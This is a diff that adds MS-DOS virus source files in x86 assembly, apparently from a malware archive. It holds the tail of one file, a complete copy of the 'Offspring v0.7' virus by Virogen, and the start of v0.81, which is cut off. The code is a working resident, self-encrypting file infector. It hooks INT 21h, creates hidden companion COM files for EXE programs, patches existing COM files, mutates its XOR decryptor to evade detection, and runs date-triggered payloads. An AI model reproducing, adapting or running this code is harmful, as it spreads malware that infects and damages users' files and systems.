ES + POP DS + XOR AX,AX + MOV ES,AX ; null es + MOV AX,ES: [21H*4+2] + MOV BX,ES: [21H*4] + MOV DS: OLD21_SEG,AX ; Store segment + MOV DS: OLD21_OFS,BX ; Store offset + + CLI + + MOV ES: [21H*4+2],DS ; Save seg + LEA AX,[OFFSET NEW21] + MOV ES: [21H*4],AX ; off + + STI + + NO_INSTALL: + PUSH CS ; Restore regs + POP DS + MOV ES,DS + + RET +INSTALL ENDP + +;------------------------ +; Resident - This is called from the INT 21h handler +;----------------------------- +RESIDENT PROC + + MOV VTYPE,SPAWN + MOV WORD PTR SET_SI,0000 ; SI=0000 on load + MOV BYTE PTR DI_INS,83H ; ADD DI,0 op + MOV WORD PTR ADD_DI,9000H ; 0090h for ADD DI,00 + MOV BYTE PTR INF_COUNT,0 ; null infection count + MOV FNAME_OFF, OFFSET FNAME1 ; Set search for *.EXE + +FIND_FIRST: + MOV WORD PTR VEND,0 ; Clear ff/fn buffer + LEA SI, VEND + LEA DI, VEND+2 + MOV CX,22 + CLD + REP MOVSW + + ; Set DTA address - This is for the Findfirst/Findnext INT 21H functions + MOV AH, 1AH + LEA DX, VEND + INT 21H + + MOV AH, 4EH ; Findfirst + MOV CX, 0 ; Set normal file attribute search + MOV DX, FNAME_OFF + INT 21H + + JNC NEXT_LOOP ; if still finding files then loop + JMP END_PROG + + NEXT_LOOP : + CMP VTYPE, PARASTIC ; parastic infection? + JE START_INF ; yes, skip all this + + MOV AH,47H + XOR DL,DL + LEA SI,FILE_DIR + INT 21H + + CMP WORD PTR VEND[F_SIZEL],0 ; Make sure file isn't 64k+ + JE OK_FIND ; for spawning infections + JMP FIND_FILE + +OK_FIND: + XOR BX,BX + LM3 : ; find end of directory name + INC BX + CMP FILE_DIR[BX],0 + JNE LM3 + + MOV FILE_DIR[BX],'\' ; append backslash to path + INC BX + + MOV CX,13 ; append filename to path + LEA SI,VEND[F_NAME] + LEA DI,FILE_DIR[BX] + CLD + REP MOVSB + + XOR BX,BX + MOV BX,1EH + + LOOP_ME: ; search for filename ext. + INC BX + CMP BYTE PTR VEND[BX], '.' + JNE LOOP_ME + + INC BX ; change it to COM + MOV WORD PTR VEND [BX],'OC' + MOV BYTE PTR VEND [BX+2],'M' + + +START_INF: + + CMP VTYPE, PARASTIC ; parastic infection? + JE PARASTIC_INF ; yes.. so jump + +;-------------------------------------- +; Spawning infection + + LEA DX, VEND[F_NAME] + MOV AH, 3CH ; Create file + MOV CX, 02H ; READ-ONLY + OR CX, 01H ; Hidden + INT 21H ; Call INT 21H + JNC CONTIN ; If Error-probably already infected + JMP NO_INFECT + CONTIN: + + INC INF_COUNT + MOV BX,AX + + JMP ENCRYPT_OPS +;---------------------------------------- +; Parastic infection + + PARASTIC_INF : + + CMP VEND[F_SIZEh],400H + JGE CONT_INF2 + JMP NO_INFECT + + CONT_INF2: + + LEA SI,VEND[F_NAME] ; Is Command.COM? + LEA DI,COM_NAME + MOV CX,11 + CLD + REPE CMPSB + + JNE CONT_INF0 ; Yes, don't infect + JMP NO_INFECT + + CONT_INF0: + + MOV AX,3D02H ; Open file for reading & writing + LEA DX,VEND[F_NAME] ; Filename in FF/FN buffer + INT 21H + + JNC CONT_INF1 ; error, skip infection + JMP NO_INFECT + + CONT_INF1: + + + MOV BX,AX + + MOV AH,3FH ; Read first five bytes of file + MOV CX,05 + LEA DX,FIRST_FIVE + INT 21H + + CMP WORD PTR FIRST_FIVE,9090H + JNE CONT_INF + MOV AH,3EH + INT 21H + JMP NO_INFECT + +CONT_INF: + INC INF_COUNT + MOV AX,4202H ; Set pointer to end of file, so we + XOR CX,CX ; can find the file size + XOR DX,DX + INT 21H + + ;SUB AX,0100h ; Subtract PSP size + MOV WORD PTR SET_SI,AX ; Change the MOV SI inst. + MOV WORD PTR ADD_DI,AX ; ADD DI,xxxx + MOV BYTE PTR DI_INS,81H ; ADD DI op + + MOV AX,4200H + XOR CX,CX + XOR DX,DX + INT 21H + + MOV AX,VEND[F_SIZEH] + SUB AX,5 + MOV WORD PTR NEW_JMP+1,AX + + + MOV AH,40H + MOV CX,6 + LEA DX,NEW_CODE + INT 21H + + MOV AX,4202H + XOR CX,CX + XOR DX,DX + INT 21H + + +ENCRYPT_OPS: + +;----------------------------- +; Change encryptions ops + + PUSH BX + + MOV AX,WORD PTR XCHG_1 ; Switch XCHG_1, and XCHG_2 + MOV BX,WORD PTR XCHG_2 + MOV WORD PTR XCHG_1,BX + MOV WORD PTR XCHG_2,AX + MOV AH, BYTE PTR XCHG_1+2 + MOV BH, BYTE PTR XCHG_2+2 + MOV BYTE PTR XCHG_1+2,BH + MOV BYTE PTR XCHG_2+2,AH + +XOR_DONE: + +CHG_TWO: + XOR CX,CX ; CX=0 + LEA DI,SW_BYTE1 ; DI->sw_byte1 + +CHG_REST: + INC ROT_NUM ; increment rotation number + MOV BX,ROT_NUM ; bx=rotation num + MOV AH,OP_SET[BX] ; ah = new op code from set + MOV BYTE PTR [DI],AH + + CMP ROT_NUM,MAX_ROTATION ; max rotation num? + JNE CHG_CNT ; no, chg_cnt + MOV WORD PTR ROT_NUM,0 ; reset rotation num +CHG_CNT: + INC CX ; increment count + CMP CX,1 + LEA DI,M_SW1 + JE CHG_REST + CMP CX,2 + LEA DI,M_SW2 + JE CHG_REST + CMP CX,3 + LEA DI,M_SW3 + JE CHG_REST + CMP CX,4 + LEA DI,SW_BYTE1 + JE CHG_REST + +CHG_THREE: + XOR CX,CX + LEA DI,SW_BYTE3 +CHG_FOUR: + CMP BYTE PTR [DI],47H ; is first byte (of 3rd) 'INC DI'? + MOV BX,1 ; + JE MOV_POS ; Yes, so change it to the second + CMP BYTE PTR [DI+1],47H ; is second byte 'INC DI' + MOV BX,2 ; + JE MOV_POS ; Yes, change it to the third + XOR BX,BX ; Else, must be in final position +MOV_POS: MOV WORD PTR [DI],9090H ; set all three bytes (of 3rd) + MOV BYTE PTR [DI+2],90H ; to NOP + MOV BYTE PTR [DI+BX],47H ; place 'INC DI' in necessary pos. + + CMP BX,2 + JNE NO_CHANGE + INC CX + CMP CX,2 + LEA DI,SW_BYTE4 + JNE CHG_FOUR + +NO_CHANGE: + CMP BYTE PTR TIMES_INC,9 + JE INC_NUM + INC WORD PTR B_WR + INC WORD PTR E_JMP + INC WORD PTR E_JMP + INC TIMES_INC + JMP D2 +INC_NUM: + SUB WORD PTR B_WR,09 + SUB WORD PTR E_JMP,18 + MOV TIMES_INC,0 + +;----------------------- +; Get random XOR number, save it, copy virus, encrypt code + +D2: + + MOV AH,2CH ; + INT 21H ; Get random number from clock - millisecs + + MOV WORD PTR XOR_OP+2,DX ; save encryption # + + + MOV SI,0100H + LEA DI,VEND+50 ; destination + MOV CX,OFFSET VEND-100H ; bytes to move + CLD + REP MOVSB ; copy virus outside of code + + + LEA DI,VEND+ENC_DATA-204 ; offset of new copy of virus + CMP BYTE PTR VTYPE, PARASTIC + JNE GO_ENC + ;add di,si + +GO_ENC: + CALL ENCRYPT ; encrypt new copy of virus + +;---------------------------------------- +; Write and close new infected file + + POP BX + MOV CX, OFFSET VEND-100H ; # of bytes to write + LEA DX, VEND+50 ; Offset of buffer + MOV AH, 40H ; -- our program in memory + INT 21H ; Call INT 21H function 40h + + CMP VTYPE, PARASTIC ; parastic? + JNE CLOSE ; no, don't need to restore date/time + + MOV AX,5701H ; Restore data/time + MOV CX,VEND[F_TIME] + MOV DX,VEND[F_DATE] + INT 21H + + +CLOSE: MOV AH, 3EH + INT 21H + + +NO_INFECT: + +; Find next file + FIND_FILE : + + CMP INF_COUNT, MAX_INF + JE END_PROG + MOV AH,4FH + INT 21H + JC END_PROG + JMP NEXT_LOOP + + + END_PROG: + EXIT : + CMP INF_COUNT,0 ; Start parastic infection on next run + JNE FIND_DONE + CMP VTYPE, PARASTIC ; Parastic infection done? + JE FIND_DONE ; yes, we're finished + MOV FNAME_OFF, OFFSET FNAME2 ; Point to new filespec + MOV VTYPE, PARASTIC ; virus type = parastic + JMP FIND_FIRST + + + FIND_DONE: + MOV VTYPE,SPAWN + MOV FNAME_OFF, OFFSET FNAME1 + RET +RESIDENT ENDP + +END_ENCRYPT: ; Let's encrypt everything up to here +OP_SET DB 90H ; NOP + DB 40H ; INC AX + DB 43H ; INC BX + DB 48H ; DEC AX + DB 4BH ; DEC BX + DB 0FBH ; STI + DB 0FCH ; CLD + DB 4AH ; DEC DX + DB 42H ; INC DX + DB 14 DUP(090H) +;------------------------------------------------ +; Encrypt/Decrypt Routine +;----------------------------------------------- + +ENCRYPT PROC +CX_M DB 0B9H ; MOV CX +B_WR DW (OFFSET END_ENCRYPT-OFFSET ENC_DATA)/2 + E2: +SW_BYTE1: ; XOR [di],dx swaps positions with this + NOP +XOR_OP: XOR WORD PTR [DI],0666H ; Xor each word - number changes accordingly +SW_BYTE3: ; INC DI changes position in these bytes + INC DI + NOP + NOP +SW_BYTE4: ; INC DI changes position in these bytes + INC DI + NOP + NOP +SW_BYTE2: + NOP ; This byte changes into a char in op_set + LOOP E2 ; loop while cx != 0 + + RET + +ENCRYPT ENDP + +VEND DW 0 ; End of virus + +CSEG ENDS + END START diff --git a/MSDOS/Virus.MSDOS.Unknown.offspr07.asm b/MSDOS/Virus.MSDOS.Unknown.offspr07.asm new file mode 100644 index 00000000..f9fcd0ae --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.offspr07.asm @@ -0,0 +1,714 @@ +;------------------------------------------------------------------------- +; ************************************************ +; OFFSPRING v0.7 - BY VIROGEN - 04-26-93 +; ************************************************ +; +; - Compatible with A86 v3.22 +; +; +; DISCLAIMER : Don't hold me responsible for any damages, or the release +; of this virus. Use at your own risk. +; +; TYPE : Parastic Spawning Resident Encrypting (PSRhA) +; +; +; VERSION : BETA 0.7 +; +; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function +; 0Eh (change drive) is called the virus will infect +; up to 5 files in the current directory (the one +; you're coming out of). It will first infect all +; EXE files by creating a corresponding COM. Once +; all EXE files have been infected, it then infects +; COM files. All COM files created by a spawning +; infection will have the read-only and hidden +; attribute. +; +; +; THE ENCRYPION OF THIS VIRUS : +; Ok, this virus's encryption method is a simple +; XOR. The encryption operands are changed directly. +; Also, the operands are switched around, and the +; bytes between them are constantly changed. The +; call to the encryption routine changes, so the +; address can be anywhere in a field of NOPs. +; Not anything overly amazing, but it works. +; +; + TITLE OFFSPRING_1 + .286 +CSEG SEGMENT + ASSUME CS: CSEG, SS: CSEG, ES: CSEG + +SIGNAL EQU 7DH ; Installation check +REPLY EQU 0FCH ; reply to check +CR EQU 0DH ; carraige return +LF EQU 0AH ; line feed +F_NAME EQU 1EH ; Offset of file name in FF/FN buffer +F_SIZEL EQU 1CH ; File size - low +F_SIZEH EQU 1AH ; File size - high +F_DATE EQU 18H ; File date +F_TIME EQU 16H ; File time +MAX_INF EQU 05 ; Maximum files to infect per run +MAX_ROTATION EQU 9 ; number of bytes in switch byte table +PARASTIC EQU 01 ; Parastic infection +SPAWN EQU 00 ; Spawning infection + + ORG 100H ; Leave room for PSP + +;------------------------------------------------------------------ +; Start of viral code +;------------------------------------------------------------------ + +START: + + DB 0BEH ; MOV SI,xxxx - Load delta offset +SET_SI: DW 0000H + +SKIP_DEC: JMP NO_DEC ; Skip decryption, changes into NOP on + ; replicated copies. +M_SW1: NOP ; changs into a byte in op_set +XCHG_1 DB 0BFH + DW OFFSET ENC_DATA+2 ; Point to byte after encryption num + ; Switches positions with XCHG_2 +M_SW2: NOP ; changes into a byte in op_set +XCHG_2 DB 090H +ENC_NUM DW 9090H +M_SW3: NOP + +DI_INS: DW 0C783H ; ADD DI,0 - changes to ADD DI,xxxx +ADD_DI: DW 9000H ; 00-NOP + +CALL_ENC DB 0E8 ; Call encryption routine - address changes +E_JMP DW (OFFSET END_ENCRYPT-OFFSET E_JMP+2) + NO_DEC: + JMP MAIN ; Jump to virus code + +;----------------------------------------------- +; Data area +;----------------------------------------------- + +ENC_DATA DW 0000 ; Start of encrypted data +ROT_NUM DW 0000 ; Used when replacing bytes with OP_SET +VTYPE DB 00 ; Spawning or Parastic Infection? +INF_COUNT DB 0 ; How many files we have infected this run +COM_NAME DB 'COMMAND.COM' ; obvious +NEW_CODE DW 9090H ; ID bytes +NEW_JMP DB 0E9H,00,00 ; New Jump +FIRST_FIVE DB 5 DUP(0) ; original first five bytes of parasic inf. +ADD_MEM DB 0 ; restore mem size? Yes,No + +ID DB CR,LF,'(c)1993 negoriV',CR,LF ; my copyright +VNAME DB CR,LF,'* Thank you for providing me and my offspring with a safe place to live *' + DB CR,LF,'* Offspring I v0.07. *',CR,LF,'$' + +FNAME1 DB '*.EXE',0 ; Filespec +FNAME2 DB '*.COM',0 ; Filespec +FNAME_OFF DW FNAME1 ; Offset of Filespec to use +TIMES_INC DB 0 ; # of times encryption call incremented +SL DB '\' ; Backslash for directory name +FILE_DIR DB 64 DUP(0) ; directory of file we infected +FILE_NAME DB 13 DUP(0) ; filename of file we infected +OLD_DTA DD 0 ; old seg:off of DTA +OLD21_OFS DW 0 ; Offset of old INT 21H +OLD21_SEG DW 0 ; Seg of old INT 21h +NEW_SEG DW 0 ; New segment in high mem + +PAR_BLK DW 0 ; command line count byte -psp +PAR_CMD DW 0080H ; Point to the command line -psp +PAR_SEG DW 0 ; seg + DW 05CH ; Use default FCB's in psp to save space +PAR1 DW 0 ; + DW 06CH ; FCB #2 +PAR2 DW 0 ; + +;-------------------------------------------------------------------- +; INT 21h +;--------------------------------------------------------------------- + +NEW21 PROC ; New INT 21H handler + + CMP AH, SIGNAL ; signaling us? + JNE NO + MOV AH,REPLY ; yep, give our offspring what he wants + JMP END_21 + NO: + CMP AH, 3BH ; set dir func? + JE RUN_RES + CMP AH,0EH ; set disk func? + JE RUN_RES + + JMP END_21 + + RUN_RES: + PUSHF + PUSH AX ; Push regs + PUSH BX + PUSH CX + PUSH DX + PUSH DI + PUSH SI + PUSH BP + PUSH DS + PUSH ES + PUSH SP + PUSH SS + + PUSH CS + POP DS + + XOR AX,AX ; nullify ES + MOV ES,AX + + CMP ADD_MEM,1 ; Restore system conventional mem size? + JE REL_MEM ; + CMP AH,48H ; alloc. mem block? If so we subtract 3k from + JE SET_MEM ; total system memory. + + JMP NO_MEM_FUNC + + SET_MEM: + SUB WORD PTR ES: [413H],3 ; Subtract 3k from total sys mem + INC ADD_MEM ; make sure we know to add this back + JMP NO_MEM_FUNC + REL_MEM: + ADD WORD PTR ES: [413H],3 ; Add 3k to total sys mem + DEC ADD_MEM + + + NO_MEM_FUNC: + MOV AH,2FH + INT 21H ; Get the DTA + + MOV AX,ES + MOV WORD PTR OLD_DTA,BX + MOV WORD PTR OLD_DTA+2,AX + PUSH CS + POP ES + + CALL RESIDENT ; Call infection kernal + + MOV DX,WORD PTR OLD_DTA + MOV AX,WORD PTR OLD_DTA+2 + MOV DS,AX + MOV AH,1AH + INT 21H ; Restore the DTA + + POP SS ; Pop regs + POP SP + POP ES + POP DS + POP BP + POP SI + POP DI + POP DX + POP CX + POP BX + POP AX + POPF + END_21 : + JMP [ DWORD PTR CS: OLD21_OFS] ; jump to original int 21h + IRET + NEW21 ENDP ; End of handler + + +;------------------------------------------------------------ +; Main +;----------------------------------------------------------- +MAIN PROC + + MOV WORD PTR [SI+OFFSET SKIP_DEC],9090H ; NOP the jump past decryption + MOV BYTE PTR [SI+OFFSET SKIP_DEC+2],90H + + MOV AX,DS: 002CH ; Get environment address + MOV [SI+OFFSET PAR_BLK],AX ; Save in parameter block for exec + + MOV [SI+OFFSET PAR1],CS ; Save segments for EXEC + MOV [SI+OFFSET PAR2],CS + MOV [SI+OFFSET PAR_SEG],CS + + MOV AH,2AH ; Get date + INT 21H + + CMP DL,14 ; 14th? + JNE NO_DISPLAY + + MOV AH,09 ; Display message + LEA DX,[SI+OFFSET ID] + INT 21H + + NO_DISPLAY: + CALL INSTALL ; check if installed, if not install + + CMP BYTE PTR [SI+OFFSET VTYPE],PARASTIC + JE SKIP_THIS + MOV BX,(OFFSET VEND+50) ; Calculate memory needed + MOV CL,4 ; divide by 16 + SHR BX,CL + INC BX + MOV AH,4AH + INT 21H ; Release un-needed memory + + LEA DX,[SI+OFFSET FILE_DIR -1] ; Execute the original EXE + LEA BX,[SI+OFFSET PAR_BLK] + MOV AX,4B00H + INT 21H + + MOV AH,4CH ; Exit + INT 21H + + SKIP_THIS: + + MOV CX,5 ; Restore original first + ADD SI,OFFSET FIRST_FIVE ; five bytes of COM file + MOV DI,0100H + CLD + REP MOVSB + + MOV AX,0100H ; Simulate CALL return to 0100h + PUSH AX + RET + +MAIN ENDP + +;--------------- +; INSTALL - Install the virus +;-------------- + +INSTALL PROC + + MOV AH,SIGNAL + INT 21H + CMP AH,REPLY + JE NO_INSTALL + + MOV AX,CS + DEC AX + MOV DS,AX + CMP BYTE PTR DS: [0],'Z' ;Is this the last MCB in + ;the chain? + JNE NO_INSTALL + + + MOV AX,DS: [3] ;Block size in MCB + SUB AX,190 ;Shrink Block Size-quick estimate + MOV DS: [3],AX + + MOV BX,AX + MOV AX,ES + ADD AX,BX + MOV ES,AX ;Find high memory seg + + PUSH SI + ADD SI,0100H + MOV CX,(OFFSET VEND - OFFSET START) + MOV AX,DS + INC AX + MOV DS,AX + MOV DI,100H ; New location in high memory + CLD + REP MOVSB ; Copy virus to high memory + + POP SI + MOV DS: NEW_SEG,ES ;Save new segment + + PUSH ES + POP DS + XOR AX,AX + MOV ES,AX ; null es + MOV AX,ES: [21H*4+2] + MOV BX,ES: [21H*4] + MOV DS: OLD21_SEG,AX ; Store segment + MOV DS: OLD21_OFS,BX ; Store offset + + CLI + + MOV ES: [21H*4+2],DS ; Save seg + LEA AX,[OFFSET NEW21] + MOV ES: [21H*4],AX ; off + + STI + + NO_INSTALL: + PUSH CS ; Restore regs + POP DS + MOV ES,DS + + RET +INSTALL ENDP + +;------------------------ +; Resident - This is called from the INT 21h handler +;----------------------------- +RESIDENT PROC + + MOV VTYPE,SPAWN + MOV WORD PTR SET_SI,0000 ; SI=0000 on load + MOV BYTE PTR DI_INS,83H ; ADD DI,0 op + MOV WORD PTR ADD_DI,9000H ; 0090h for ADD DI,00 + MOV BYTE PTR INF_COUNT,0 ; null infection count + MOV FNAME_OFF, OFFSET FNAME1 ; Set search for *.EXE + +FIND_FIRST: + MOV WORD PTR VEND,0 ; Clear ff/fn buffer + LEA SI, VEND + LEA DI, VEND+2 + MOV CX,22 + CLD + REP MOVSW + + ; Set DTA address - This is for the Findfirst/Findnext INT 21H functions + MOV AH, 1AH + LEA DX, VEND + INT 21H + + MOV AH, 4EH ; Findfirst + MOV CX, 0 ; Set normal file attribute search + MOV DX, FNAME_OFF + INT 21H + + JNC NEXT_LOOP ; if still finding files then loop + JMP END_PROG + + NEXT_LOOP : + CMP VTYPE, PARASTIC ; parastic infection? + JE START_INF ; yes, skip all this + + MOV AH,47H + XOR DL,DL + LEA SI,FILE_DIR + INT 21H + + CMP WORD PTR VEND[F_SIZEL],0 ; Make sure file isn't 64k+ + JE OK_FIND ; for spawning infections + JMP FIND_FILE + +OK_FIND: + XOR BX,BX + LM3 : ; find end of directory name + INC BX + CMP FILE_DIR[BX],0 + JNE LM3 + + MOV FILE_DIR[BX],'\' ; append backslash to path + INC BX + + MOV CX,13 ; append filename to path + LEA SI,VEND[F_NAME] + LEA DI,FILE_DIR[BX] + CLD + REP MOVSB + + XOR BX,BX + MOV BX,1EH + + LOOP_ME: ; search for filename ext. + INC BX + CMP BYTE PTR VEND[BX], '.' + JNE LOOP_ME + + INC BX ; change it to COM + MOV WORD PTR VEND [BX],'OC' + MOV BYTE PTR VEND [BX+2],'M' + + +START_INF: + + CMP VTYPE, PARASTIC ; parastic infection? + JE PARASTIC_INF ; yes.. so jump + +;-------------------------------------- +; Spawning infection + + LEA DX, VEND[F_NAME] + MOV AH, 3CH ; Create file + MOV CX, 02H ; READ-ONLY + OR CX, 01H ; Hidden + INT 21H ; Call INT 21H + JNC CONTIN ; If Error-probably already infected + JMP NO_INFECT + CONTIN: + + INC INF_COUNT + MOV BX,AX + + JMP ENCRYPT_OPS +;---------------------------------------- +; Parastic infection + + PARASTIC_INF : + + CMP VEND[F_SIZEh],400H + JGE CONT_INF2 + JMP NO_INFECT + + CONT_INF2: + + LEA SI,VEND[F_NAME] ; Is Command.COM? + LEA DI,COM_NAME + MOV CX,11 + CLD + REPE CMPSB + + JNE CONT_INF0 ; Yes, don't infect + JMP NO_INFECT + + CONT_INF0: + + MOV AX,3D02H ; Open file for reading & writing + LEA DX,VEND[F_NAME] ; Filename in FF/FN buffer + INT 21H + + JNC CONT_INF1 ; error, skip infection + JMP NO_INFECT + + CONT_INF1: + + + MOV BX,AX + + MOV AH,3FH ; Read first five bytes of file + MOV CX,05 + LEA DX,FIRST_FIVE + INT 21H + + CMP WORD PTR FIRST_FIVE,9090H + JNE CONT_INF + MOV AH,3EH + INT 21H + JMP NO_INFECT + +CONT_INF: + INC INF_COUNT + MOV AX,4202H ; Set pointer to end of file, so we + XOR CX,CX ; can find the file size + XOR DX,DX + INT 21H + + ;SUB AX,0100h ; Subtract PSP size + MOV WORD PTR SET_SI,AX ; Change the MOV SI inst. + MOV WORD PTR ADD_DI,AX ; ADD DI,xxxx + MOV BYTE PTR DI_INS,81H ; ADD DI op + + MOV AX,4200H + XOR CX,CX + XOR DX,DX + INT 21H + + MOV AX,VEND[F_SIZEH] + SUB AX,5 + MOV WORD PTR NEW_JMP+1,AX + + + MOV AH,40H + MOV CX,6 + LEA DX,NEW_CODE + INT 21H + + MOV AX,4202H + XOR CX,CX + XOR DX,DX + INT 21H + + +ENCRYPT_OPS: + +;----------------------------- +; Change encryptions ops + + PUSH BX + + MOV AX,WORD PTR XCHG_1 ; Switch XCHG_1, and XCHG_2 + MOV BX,WORD PTR XCHG_2 + MOV WORD PTR XCHG_1,BX + MOV WORD PTR XCHG_2,AX + MOV AH, BYTE PTR XCHG_1+2 + MOV BH, BYTE PTR XCHG_2+2 + MOV BYTE PTR XCHG_1+2,BH + MOV BYTE PTR XCHG_2+2,AH + +XOR_DONE: + +CHG_TWO: + XOR CX,CX ; CX=0 + LEA DI,SW_BYTE1 ; DI->sw_byte1 + +CHG_REST: + INC ROT_NUM ; increment rotation number + MOV BX,ROT_NUM ; bx=rotation num + MOV AH,OP_SET[BX] ; ah = new op code from set + MOV BYTE PTR [DI],AH + + CMP ROT_NUM,MAX_ROTATION ; max rotation num? + JNE CHG_CNT ; no, chg_cnt + MOV WORD PTR ROT_NUM,0 ; reset rotation num +CHG_CNT: + INC CX ; increment count + CMP CX,1 + LEA DI,M_SW1 + JE CHG_REST + CMP CX,2 + LEA DI,M_SW2 + JE CHG_REST + CMP CX,3 + LEA DI,M_SW3 + JE CHG_REST + CMP CX,4 + LEA DI,SW_BYTE1 + JE CHG_REST + +CHG_THREE: + XOR CX,CX + LEA DI,SW_BYTE3 +CHG_FOUR: + CMP BYTE PTR [DI],47H ; is first byte (of 3rd) 'INC DI'? + MOV BX,1 ; + JE MOV_POS ; Yes, so change it to the second + CMP BYTE PTR [DI+1],47H ; is second byte 'INC DI' + MOV BX,2 ; + JE MOV_POS ; Yes, change it to the third + XOR BX,BX ; Else, must be in final position +MOV_POS: MOV WORD PTR [DI],9090H ; set all three bytes (of 3rd) + MOV BYTE PTR [DI+2],90H ; to NOP + MOV BYTE PTR [DI+BX],47H ; place 'INC DI' in necessary pos. + + CMP BX,2 + JNE NO_CHANGE + INC CX + CMP CX,2 + LEA DI,SW_BYTE4 + JNE CHG_FOUR + +NO_CHANGE: + CMP BYTE PTR TIMES_INC,9 + JE INC_NUM + INC WORD PTR B_WR + INC WORD PTR E_JMP + INC WORD PTR E_JMP + INC TIMES_INC + JMP D2 +INC_NUM: + SUB WORD PTR B_WR,09 + SUB WORD PTR E_JMP,18 + MOV TIMES_INC,0 + +;----------------------- +; Get random XOR number, save it, copy virus, encrypt code + +D2: + + MOV AH,2CH ; + INT 21H ; Get random number from clock - millisecs + + MOV WORD PTR XOR_OP+2,DX ; save encryption # + + + MOV SI,0100H + LEA DI,VEND+50 ; destination + MOV CX,OFFSET VEND-100H ; bytes to move + CLD + REP MOVSB ; copy virus outside of code + + + LEA DI,VEND+ENC_DATA-204 ; offset of new copy of virus + CMP BYTE PTR VTYPE, PARASTIC + JNE GO_ENC + ;add di,si + +GO_ENC: + CALL ENCRYPT ; encrypt new copy of virus + +;---------------------------------------- +; Write and close new infected file + + POP BX + MOV CX, OFFSET VEND-100H ; # of bytes to write + LEA DX, VEND+50 ; Offset of buffer + MOV AH, 40H ; -- our program in memory + INT 21H ; Call INT 21H function 40h + + CMP VTYPE, PARASTIC ; parastic? + JNE CLOSE ; no, don't need to restore date/time + + MOV AX,5701H ; Restore data/time + MOV CX,VEND[F_TIME] + MOV DX,VEND[F_DATE] + INT 21H + + +CLOSE: MOV AH, 3EH + INT 21H + + +NO_INFECT: + +; Find next file + FIND_FILE : + + CMP INF_COUNT, MAX_INF + JE END_PROG + MOV AH,4FH + INT 21H + JC END_PROG + JMP NEXT_LOOP + + + END_PROG: + EXIT : + CMP INF_COUNT,0 ; Start parastic infection on next run + JNE FIND_DONE + CMP VTYPE, PARASTIC ; Parastic infection done? + JE FIND_DONE ; yes, we're finished + MOV FNAME_OFF, OFFSET FNAME2 ; Point to new filespec + MOV VTYPE, PARASTIC ; virus type = parastic + JMP FIND_FIRST + + + FIND_DONE: + MOV VTYPE,SPAWN + MOV FNAME_OFF, OFFSET FNAME1 + RET +RESIDENT ENDP + +END_ENCRYPT: ; Let's encrypt everything up to here +OP_SET DB 90H ; NOP + DB 40H ; INC AX + DB 43H ; INC BX + DB 48H ; DEC AX + DB 4BH ; DEC BX + DB 0FBH ; STI + DB 0FCH ; CLD + DB 4AH ; DEC DX + DB 42H ; INC DX + DB 14 DUP(090H) +;------------------------------------------------ +; Encrypt/Decrypt Routine +;----------------------------------------------- + +ENCRYPT PROC +CX_M DB 0B9H ; MOV CX +B_WR DW (OFFSET END_ENCRYPT-OFFSET ENC_DATA)/2 + E2: +SW_BYTE1: ; XOR [di],dx swaps positions with this + NOP +XOR_OP: XOR WORD PTR [DI],0666H ; Xor each word - number changes accordingly +SW_BYTE3: ; INC DI changes position in these bytes + INC DI + NOP + NOP +SW_BYTE4: ; INC DI changes position in these bytes + INC DI + NOP + NOP +SW_BYTE2: + NOP ; This byte changes into a char in op_set + LOOP E2 ; loop while cx != 0 + + RET + +ENCRYPT ENDP + +VEND DW 0 ; End of virus + +CSEG ENDS + END START diff --git a/MSDOS/Virus.MSDOS.Unknown.offspr81.asm b/MSDOS/Virus.MSDOS.Unknown.offspr81.asm new file mode 100644 index 00000000..57a18a56 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.offspr81.asm @@ -0,0 +1,665 @@ +;------------------------------------------------------------------------- +; ************************************************ +; OFFSPRING v0.81 - BY VIROGEN - 04-26-93 +; ************************************************ +; +; - Compatible with : TASM /m2 +; +; TYPE : Parastic & Spawning Resident Encrypting (PSRhA) +; +; +; VERSION : BETA 0.81 +; +; INFECTION METHOD : Everytime DOS function 4Bh (Execute File) +; is called the virus will infect up to 5 files +; in the current directory. It will first infect all +; EXE files by creating a corresponding COM. Once +; all EXE files have been infected, it then infects +; COM files. All COM files created by a spawning +; infection will have the read-only and hidden +; attribute. +; +; +; THE ENCRYPION OF THIS VIRUS : +; Ok, this virus's encryption method is a simple +; XOR. The encryption operands are changed directly. +; Also, the operands are switched around, and the +; encryption routine switches from using di to si. +; Not anything overly amazing, but it works. +; +; + title offspring_1 + .286 +cseg segment + assume cs: cseg, ds: cseg, ss: cseg, es: cseg + +signal equ 7dh ; Installation check +reply equ 0fch ; reply to check +f_name equ 1eh ; Offset of file name in FF/FN buffer +f_sizel equ 1ch ; File size - low - loc in mem +f_sizeh equ 1ah ; File size - high - loc in mem +f_date equ 18h ; File date - loc in mem +f_time equ 16h ; File time - loc in mem +max_inf equ 05 ; Maximum files to infect per run +max_rotation equ 9 ; number of bytes in switch byte table +parastic equ 01 ; Parastic infection +spawn equ 00 ; Spawning infection + + org 100h ; Leave room for PSP + +;------------------------------------------------------------------ +; Start of viral code +;------------------------------------------------------------------ + +start: + + db 0bdh ; MOV BP,xxxx - Load delta offset + set_bp: + dw 0000 + + skip_dec: + jmp main ; Skip decryption, changes into NOP on + ; replicated copies. + di_op db 0bfh + mov_di dw offset enc_data+2 ; Point to byte after encryption num + ; +;------------------------- +; Encryption/Decryption + +encrypt: +cx_m db 90h,0b9h ; MOV CX +b_wr dw (offset vend-offset enc_data)/2 +xor_loop: + xor_op: xor word ptr [di],0666h ; Xor each word - number changes accordingly + sw_byte3: ; INC xx changes position in these bytes + inc di + nop + nop + sw_byte4: + inc di + nop + nop + loop xor_loop ; loop while cx != 0 + + ret_byte db 90h ; Changes to RET (0C3h) - then back to NOP + +enc_data: ; Start of encrypted data + +;------------------------------- +; Non-Resident portion of virus +;------------------------------- +main proc + + mov word ptr skip_dec[bp],9090h ; NOP the jump past decryption + + mov ax,ds: 002ch ; Get environment address + mov par_blk[bp],ax ; Save in parameter block for exec + + mov par1[bp],cs ; Save segments for EXEC + mov par2[bp],cs + mov par_seg[bp],cs + + mov ah,2ah ; Get date + int 21h + + cmp dl,9 ; 9th? + jne no_display + + mov ah,09 ; display virus name + lea dx,vname[bp] + int 21h + + xor ax,ax ; seg 0 + mov es,ax + mov dx,1010101010101010b ; lights + chg_lights: ; Infinite loop to change keyboard + mov word ptr es: [416h],dx ; 0040:0016h = keyb flags + ror dx,1 ; rotate bits + mov cx,0101h ; scan code/ascii + mov ah,05h ; push a beep onto keyb buf + int 16h + mov ah,10h ; Read key back so we don't fill + int 16h ; 